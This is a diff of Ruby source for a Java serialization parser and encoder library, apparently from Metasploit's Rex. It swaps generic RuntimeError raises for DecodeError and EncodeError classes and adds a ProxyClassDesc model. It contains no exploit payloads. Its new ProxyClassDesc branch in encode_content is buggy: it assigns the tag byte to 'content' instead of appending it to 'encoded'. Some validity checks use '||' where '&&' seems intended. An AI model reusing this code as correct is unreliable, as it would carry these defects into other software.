raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
|
||||
when TC_RESET
|
||||
content = Reset.decode(io, stream)
|
||||
else
|
||||
raise ::RuntimeError, 'Failed to unserialize content'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
|
||||
end
|
||||
|
||||
content
|
||||
|
@ -62,7 +62,7 @@ module Rex
|
|||
#
|
||||
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode_content(content)
|
||||
encoded = ''
|
||||
|
||||
|
@ -87,6 +87,8 @@ module Rex
|
|||
encoded << [TC_ENUM].pack('C')
|
||||
when NewClassDesc
|
||||
encoded << [TC_CLASSDESC].pack('C')
|
||||
when ProxyClassDesc
|
||||
content = [TC_PROXYCLASSDESC].pack('C')
|
||||
when NullReference
|
||||
encoded << [TC_NULL].pack('C')
|
||||
when Reset
|
||||
|
@ -94,7 +96,7 @@ module Rex
|
|||
when Reference
|
||||
encoded << [TC_REFERENCE].pack('C')
|
||||
else
|
||||
raise ::RuntimeError, 'Failed to serialize content'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
||||
end
|
||||
|
||||
encoded << content.encode
|
||||
|
@ -105,6 +107,7 @@ module Rex
|
|||
#
|
||||
# @param content [Rex::Java::Serialization::Model::Element] the content to print
|
||||
# @return [String]
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
|
||||
def print_content(content)
|
||||
str = ''
|
||||
|
||||
|
@ -129,6 +132,8 @@ module Rex
|
|||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NewClassDesc
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when ProxyClassDesc
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
when NullReference
|
||||
str << "#{print_class(content)}"
|
||||
when Reset
|
||||
|
@ -136,7 +141,7 @@ module Rex
|
|||
when Reference
|
||||
str << "#{print_class(content)} { #{content.to_s} }"
|
||||
else
|
||||
raise ::RuntimeError, 'Failed to serialize content'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
||||
end
|
||||
|
||||
str
|
||||
|
|
|
@ -11,13 +11,13 @@ module Rex
|
|||
include Rex::Java::Serialization::Model::Contents
|
||||
|
||||
# @!attribute type
|
||||
# @return [String] The type of the field.
|
||||
# @return [String] The type of the field.
|
||||
attr_accessor :type
|
||||
# @!attribute name
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the field.
|
||||
attr_accessor :name
|
||||
# @!attribute field_type
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The type of the field on object types.
|
||||
attr_accessor :field_type
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
|
@ -32,12 +32,12 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @faise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
code = io.read(1)
|
||||
|
||||
unless code && is_valid?(code)
|
||||
raise ::RuntimeError, 'Failed to unserialize Field'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field'
|
||||
end
|
||||
|
||||
self.type = TYPE_CODES[code]
|
||||
|
@ -53,14 +53,14 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::Field
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless name.kind_of?(Rex::Java::Serialization::Model::Utf)
|
||||
raise ::RuntimeError, 'Failed to serialize Field'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
unless is_type_valid?
|
||||
raise ::RuntimeError, 'Failed to serialize Field'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
|
@ -138,11 +138,12 @@ module Rex
|
|||
# Serializes the `field_type` attribute.
|
||||
#
|
||||
# @return [String]
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_field_type
|
||||
allowed_contents = [Utf, Reference]
|
||||
|
||||
unless allowed_contents.include?(field_type.class)
|
||||
raise ::RuntimeError, 'Failed to serialize Field'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Field'
|
||||
end
|
||||
|
||||
encoded = encode_content(field_type)
|
||||
|
@ -154,13 +155,13 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Java::Serialization::Model::Utf]
|
||||
# @raise [RuntimeError] if unserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if unserialization doesn't succeed
|
||||
def decode_field_type(io)
|
||||
allowed_contents = [Utf, Reference]
|
||||
type = decode_content(io, stream)
|
||||
|
||||
unless allowed_contents.include?(type.class)
|
||||
raise ::RuntimeError, 'Failed to unserialize Field field_type'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Field field_type'
|
||||
end
|
||||
|
||||
type
|
||||
|
|
|
@ -11,11 +11,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @return [nil] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
raw_length = io.read(8)
|
||||
if raw_length.nil? || raw_length.length != 8
|
||||
raise ::RuntimeError, 'Failed to unserialize LongUtf'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
||||
end
|
||||
self.length = raw_length.unpack('Q>')[0]
|
||||
|
||||
|
@ -24,7 +24,7 @@ module Rex
|
|||
else
|
||||
self.contents = io.read(length)
|
||||
if contents.nil? || contents.length != length
|
||||
raise ::RuntimeError, 'Failed to unserialize LongUtf'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize LongUtf'
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -31,7 +31,7 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.array_description = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
@ -50,10 +50,10 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::NewArray
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless array_description.kind_of?(ClassDesc)
|
||||
raise ::RuntimeError, 'Failed to serialize NewArray'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewArray'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
|
@ -83,11 +83,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_values_length(io)
|
||||
values_length = io.read(4)
|
||||
if values_length.nil? || values_length.length != 4
|
||||
raise ::RuntimeError, 'Failed to unserialize NewArray'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewArray'
|
||||
end
|
||||
|
||||
values_length.unpack('N')[0]
|
||||
|
@ -96,15 +96,15 @@ module Rex
|
|||
# Extracts the NewArray data type
|
||||
#
|
||||
# @return [String]
|
||||
# @raise [RuntimeError] if the NewArray description isn't valid
|
||||
# @raise [RuntimeError] if the NewArray type isn't supported
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if the NewArray description isn't valid
|
||||
# or type isn't supported
|
||||
def array_type
|
||||
if array_description.nil?
|
||||
raise ::RuntimeError, 'Empty NewArray description'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Empty NewArray description'
|
||||
end
|
||||
|
||||
unless array_description.kind_of?(ClassDesc)
|
||||
raise ::RuntimeError, 'Unsupported NewArray description class'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description class'
|
||||
end
|
||||
|
||||
desc = array_description.description
|
||||
|
@ -115,7 +115,7 @@ module Rex
|
|||
end
|
||||
|
||||
unless desc.class_name.contents[0] == '[' # Array
|
||||
raise ::RuntimeError, 'Unsupported NewArray description'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray description'
|
||||
end
|
||||
|
||||
decoded_type = desc.class_name.contents[1]
|
||||
|
@ -124,7 +124,7 @@ module Rex
|
|||
elsif decoded_type == 'L' # L : Object
|
||||
return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class
|
||||
else
|
||||
raise ::RuntimeError, 'Unsupported NewArray Type'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray Type'
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -132,54 +132,54 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum, Float] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization fails
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
||||
def decode_value(io)
|
||||
value = nil
|
||||
|
||||
case type
|
||||
when 'byte'
|
||||
value = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
value = value.unpack('c')[0]
|
||||
when 'char'
|
||||
value = io.read(2)
|
||||
unless value && value.length == 2
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('s>')[0]
|
||||
when 'double'
|
||||
value = io.read(8)
|
||||
unless value && value.length == 8
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('G')[0]
|
||||
when 'float'
|
||||
value = io.read(4)
|
||||
unless value && value.length == 4
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('g')[0]
|
||||
when 'int'
|
||||
value = io.read(4)
|
||||
unless value && value.length == 4
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('l>')[0]
|
||||
when 'long'
|
||||
value = io.read(8)
|
||||
unless value && value.length == 8
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('q>')[0]
|
||||
when 'short'
|
||||
value = io.read(2)
|
||||
unless value && value.length == 2
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value = value.unpack('s>')[0]
|
||||
when 'boolean'
|
||||
value = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value.nil?
|
||||
value = value.unpack('c')[0]
|
||||
else # object
|
||||
value = decode_content(io, stream)
|
||||
|
@ -190,10 +190,9 @@ module Rex
|
|||
|
||||
# Serializes an NewArray value
|
||||
#
|
||||
# @param value [Fixnum] the value to serialize
|
||||
# @param value [Float] the value to serialize
|
||||
# @param value [<Fixnum, Float>] the value to serialize
|
||||
# @return [String] the serialized value
|
||||
# @raise [RuntimeError] if serialization fails
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_value(value)
|
||||
res = ''
|
||||
|
||||
|
|
|
@ -12,16 +12,16 @@ module Rex
|
|||
# @!attribute class_name
|
||||
# @return [Rex::Java::Serialization::Model::Utf] The name of the class
|
||||
attr_accessor :class_name
|
||||
# @!attribute name
|
||||
# @return [Integer] The java class serial version
|
||||
# @!attribute serial_version
|
||||
# @return [Fixnum] The java class serial version
|
||||
attr_accessor :serial_version
|
||||
# @!attribute flags
|
||||
# @return [Integer] The java class flags
|
||||
# @return [Fixnum] The java class flags
|
||||
attr_accessor :flags
|
||||
# @!attribute fields
|
||||
# @return [Array] The java class fields
|
||||
attr_accessor :fields
|
||||
# @!attribute fields
|
||||
# @!attribute class_annotation
|
||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
||||
attr_accessor :class_annotation
|
||||
# @!attribute super_class
|
||||
|
@ -39,11 +39,11 @@ module Rex
|
|||
self.super_class = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::ClassDescription
|
||||
# Deserializes a Rex::Java::Serialization::Model::NewClassDesc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.class_name = Utf.decode(io, stream)
|
||||
self.serial_version = decode_serial_version(io)
|
||||
|
@ -64,17 +64,16 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::ClassDescription
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_name.class == Rex::Java::Serialization::Model::Utf ||
|
||||
class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise ::RuntimeError, 'Filed to serialize NewClassDesc'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
encoded << class_name.encode
|
||||
encoded << [serial_version].pack('Q>')
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
encoded << [serial_version].pack('q>')
|
||||
encoded << [flags].pack('C')
|
||||
encoded << [fields.length].pack('n')
|
||||
fields.each do |field|
|
||||
|
@ -113,11 +112,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_serial_version(io)
|
||||
raw_serial = io.read(8)
|
||||
if raw_serial.nil? || raw_serial.length != 8
|
||||
raise ::RuntimeError, 'Failed to unserialize ClassDescription'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
||||
end
|
||||
|
||||
raw_serial.unpack('Q>')[0]
|
||||
|
@ -127,10 +126,10 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization is possible
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_flags(io)
|
||||
raw_flags = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil?
|
||||
|
||||
raw_flags.unpack('C')[0]
|
||||
end
|
||||
|
@ -139,11 +138,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Integer] if deserialization is possible
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_fields_length(io)
|
||||
fields_length = io.read(2)
|
||||
if fields_length.nil? || fields_length.length != 2
|
||||
raise ::RuntimeError, 'Failed to unserialize ClassDescription'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription'
|
||||
end
|
||||
|
||||
fields_length.unpack('n')[0]
|
||||
|
|
|
@ -27,7 +27,7 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.enum_description = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
@ -39,11 +39,11 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::NewEnum
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless enum_description.kind_of?(ClassDesc) &&
|
||||
constant_name.kind_of?(Utf)
|
||||
raise ::RuntimeError, 'Failed to serialize EnumDescription'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
|
@ -65,10 +65,10 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed
|
||||
def decode_constant_name(io)
|
||||
content = decode_content(io, stream)
|
||||
raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf)
|
||||
|
||||
content
|
||||
end
|
||||
|
|
|
@ -27,7 +27,7 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.class_desc = ClassDesc.decode(io, stream)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
@ -46,10 +46,10 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::NewObject
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_desc.kind_of?(ClassDesc)
|
||||
raise ::RuntimeError, 'Failed to serialize NewObject'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
|
@ -74,6 +74,8 @@ module Rex
|
|||
case class_desc.description
|
||||
when NewClassDesc
|
||||
str << class_desc.description.class_name.to_s
|
||||
when ProxyClassDesc
|
||||
str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',')
|
||||
when Reference
|
||||
str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16)
|
||||
end
|
||||
|
@ -91,7 +93,7 @@ module Rex
|
|||
# @param io [IO] the io to read from
|
||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
||||
# @return [Array] class_data values if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_class_data(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
|
@ -114,7 +116,7 @@ module Rex
|
|||
# @param io [IO] the io to read from
|
||||
# @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted
|
||||
# @return [Array] class_data values if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_class_fields(io, my_class_desc)
|
||||
values = []
|
||||
|
||||
|
@ -135,57 +137,57 @@ module Rex
|
|||
# @param io [IO] the io to read from
|
||||
# @param type [String] the type of the value to deserialize
|
||||
# @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization fails
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization fails
|
||||
def decode_value(io, type)
|
||||
value = []
|
||||
|
||||
case type
|
||||
when 'byte'
|
||||
value_raw = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
value.push('byte', value_raw.unpack('c')[0])
|
||||
when 'char'
|
||||
value_raw = io.read(2)
|
||||
unless value_raw && value_raw.length == 2
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('char', value_raw.unpack('s>')[0])
|
||||
when 'double'
|
||||
value_raw = io.read(8)
|
||||
unless value_raw && value_raw.length == 8
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('double', value = value_raw.unpack('G')[0])
|
||||
when 'float'
|
||||
value_raw = io.read(4)
|
||||
unless value_raw && value_raw.length == 4
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('float', value_raw.unpack('g')[0])
|
||||
when 'int'
|
||||
value_raw = io.read(4)
|
||||
unless value_raw && value_raw.length == 4
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('int', value_raw.unpack('l>')[0])
|
||||
when 'long'
|
||||
value_raw = io.read(8)
|
||||
unless value_raw && value_raw.length == 8
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('long', value_raw.unpack('q>')[0])
|
||||
when 'short'
|
||||
value_raw = io.read(2)
|
||||
unless value_raw && value_raw.length == 2
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value'
|
||||
end
|
||||
value.push('short', value_raw.unpack('s>')[0])
|
||||
when 'boolean'
|
||||
value_raw = io.read(1)
|
||||
raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil?
|
||||
value.push('boolean', value_raw.unpack('c')[0])
|
||||
else
|
||||
raise ::RuntimeError, 'Unsupported NewArray type'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type'
|
||||
end
|
||||
|
||||
value
|
||||
|
@ -195,7 +197,7 @@ module Rex
|
|||
#
|
||||
# @param value [Array] the type and value to serialize
|
||||
# @return [String] the serialized value
|
||||
# @raise [RuntimeError] if serialization fails
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization fails
|
||||
def encode_value(value)
|
||||
res = ''
|
||||
|
||||
|
@ -217,7 +219,7 @@ module Rex
|
|||
when 'boolean'
|
||||
res = [value[1]].pack('c')
|
||||
else
|
||||
raise ::RuntimeError, 'Unsupported NewArray type'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type'
|
||||
end
|
||||
|
||||
res
|
||||
|
|
|
@ -0,0 +1,109 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Java
|
||||
module Serialization
|
||||
module Model
|
||||
# This class provides a ProxyClassDesc representation
|
||||
class ProxyClassDesc < Element
|
||||
|
||||
include Rex::Java::Serialization
|
||||
|
||||
# @!attribute interfaces
|
||||
# @return [Array] An array of interface names
|
||||
attr_accessor :interfaces
|
||||
# @!attribute class_annotation
|
||||
# @return [Rex::Java::Serialization::Model::Annotation] The java class annotations
|
||||
attr_accessor :class_annotation
|
||||
# @!attribute super_class
|
||||
# @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description
|
||||
attr_accessor :super_class
|
||||
|
||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
||||
def initialize(stream = nil)
|
||||
super(stream)
|
||||
self.interfaces = []
|
||||
self.class_annotation = nil
|
||||
self.super_class = nil
|
||||
end
|
||||
|
||||
# Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
stream.add_reference(self) unless stream.nil?
|
||||
|
||||
interfaces_length = decode_interfaces_length(io)
|
||||
interfaces_length.times do
|
||||
interface = Utf.decode(io, stream)
|
||||
self.interfaces << interface
|
||||
end
|
||||
self.class_annotation = Annotation.decode(io, stream)
|
||||
self.super_class = ClassDesc.decode(io, stream)
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Serializes the Rex::Java::Serialization::Model::ProxyClassDesc
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
unless class_annotation.class == Rex::Java::Serialization::Model::Annotation ||
|
||||
super_class.class == Rex::Java::Serialization::Model::ClassDesc
|
||||
raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc'
|
||||
end
|
||||
encoded = ''
|
||||
encoded << [interfaces.length].pack('N')
|
||||
interfaces.each do |interface|
|
||||
encoded << interface.encode
|
||||
end
|
||||
encoded << class_annotation.encode
|
||||
encoded << super_class.encode
|
||||
|
||||
encoded
|
||||
end
|
||||
|
||||
# Creates a print-friendly string representation
|
||||
#
|
||||
# @return [String]
|
||||
def to_s
|
||||
str = '[ '
|
||||
interfaces_str = []
|
||||
interfaces.each do |interface|
|
||||
interfaces_str << interface.to_s
|
||||
end
|
||||
str << "#{interfaces_str.join(', ')} ]"
|
||||
|
||||
case super_class.description
|
||||
when NewClassDesc
|
||||
str << ", @super_class: #{super_class.description.class_name.to_s}"
|
||||
when Reference
|
||||
str << ", @super_class: #{super_class.description.to_s}"
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Deserializes the number of interface names
|
||||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [Fixnum] if deserialization is possible
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode_interfaces_length(io)
|
||||
fields_length = io.read(4)
|
||||
if fields_length.nil? || fields_length.length != 4
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc'
|
||||
end
|
||||
|
||||
fields_length.unpack('N')[0]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -21,11 +21,11 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
handle_raw = io.read(4)
|
||||
unless handle_raw && handle_raw.length == 4
|
||||
raise ::RuntimeError, 'Failed to unserialize Reference'
|
||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference'
|
||||
end
|
||||
|
||||
self.handle = handle_raw.unpack('N')[0]
|
||||
|
@ -36,10 +36,10 @@ module Rex
|
|||
# Serializes the Rex::Java::Serialization::Model::Reference
|
||||
#
|
||||
# @return [String] if serialization succeeds
|
||||
# @raise [RuntimeError] if serialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
||||
def encode
|
||||
if handle < BASE_WIRE_HANDLE
|
||||
raise ::RuntimeError, 'Failed to serialize Reference'
|
||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference'
|
||||
end
|
||||
|
||||
encoded = ''
|
||||
|
|
|
@ -34,7 +34,7 @@ module Rex
|
|||
#
|
||||
# @param io [IO] the io to read from
|
||||
# @return [self] if deserialization succeeds
|
||||
# @raise [RuntimeError] if deserialization doesn't succeed
|
||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
||||
def decode(io)
|
||||
self.magic = decode_magic(io)
|
||||
self.version = decode_version(io)
|
||||
|
